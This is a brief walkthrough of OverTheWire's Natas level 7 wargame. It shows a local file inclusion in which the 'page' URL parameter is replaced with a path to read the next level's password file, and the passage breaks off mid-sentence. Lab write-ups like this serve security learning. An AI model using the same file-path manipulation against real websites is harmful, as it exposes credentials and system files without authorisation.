URL: http://natas7.natas.labs.overthewire.org Open the Website : Exploration : Page Navigation: Clicking on the "home" and "about" pages reveals the following links: http://natas7.natas.labs.overthewire.org/index.php?page=home http://natas7.natas.labs.overthewire.org/index.php?page=about Hint in Source Code: Inspecting the source code provides a hint about how the application includes pages. Exploit : URL Parameter Manipulation: Replace the page parameter with the desired file path: http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 Success : You have successfully manipulated the URL parameter to access the password for natas8. Proceed to the next level using the acquired information. PS: In Natas0, it was stated that All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5 That is how we know that the file...